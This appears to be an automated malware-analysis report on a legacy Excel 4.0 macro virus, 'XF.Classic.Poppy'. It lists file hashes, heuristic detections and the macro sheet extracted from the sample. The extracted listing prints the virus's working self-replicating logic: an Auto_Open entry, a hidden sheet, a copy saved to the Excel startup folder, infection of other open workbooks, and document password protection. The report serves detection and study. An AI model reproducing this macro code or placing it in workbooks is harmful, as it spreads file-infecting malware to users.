Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cea605546f0bb228…

MALICIOUS

Office (OLE)

35.5 KB Created: 2012-08-30 03:42:16 First seen: 2017-03-27
MD5: 389a1761e90e8dc1848e65edda3067ff SHA-1: 2cec7d9d3c54571c2e43d6e3ab62701c804dd1a6 SHA-256: cea605546f0bb228ffef6983f2fb1576564fcd726d8ff3aae6c3cf09717d5ccb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code within older Excel versions. The heuristics indicate the presence of a legacy formula macro virus, identified as 'Classic.Poppy' and associated with 'The Narkotic Network'. The macro sheet itself contains references to dangerous functions like RUN, suggesting it's designed to execute arbitrary commands or payloads.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 13160 bytes
SHA-256: 438feede4ca3ac241da4f6328da8b45b7e33e0f359396a22c37df6efba4a3ec7
Preview script
First 1,000 lines of the extracted script
' 0085     24 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  ~š!hùW­
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00m\x00m\x00m\x00m\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\t\t\t\t'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 10!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 10!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 10!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 10!C9 
' 0018     77 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xec\x11k\x02'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d  XL4Popp!C9 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 10!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 6!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 10!A26 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 16 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 17 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 10!C39 
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 10!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 35 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 36 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 6!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 4!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 6!H18 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 6!H14 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d 6!H15 
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\n\n\n\n'
' 0018     32 LABEL : Cell Value, String Constant -  Ä[¿[ len=7 *UNKNOWN TOKEN* 0x0036 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'Rf[!h9'
' 0018     32 LABEL : Cell Value, String Constant -  Ä[¿[ len=7 *UNKNOWN TOKEN* 0x0036 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'Rf[!h9'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""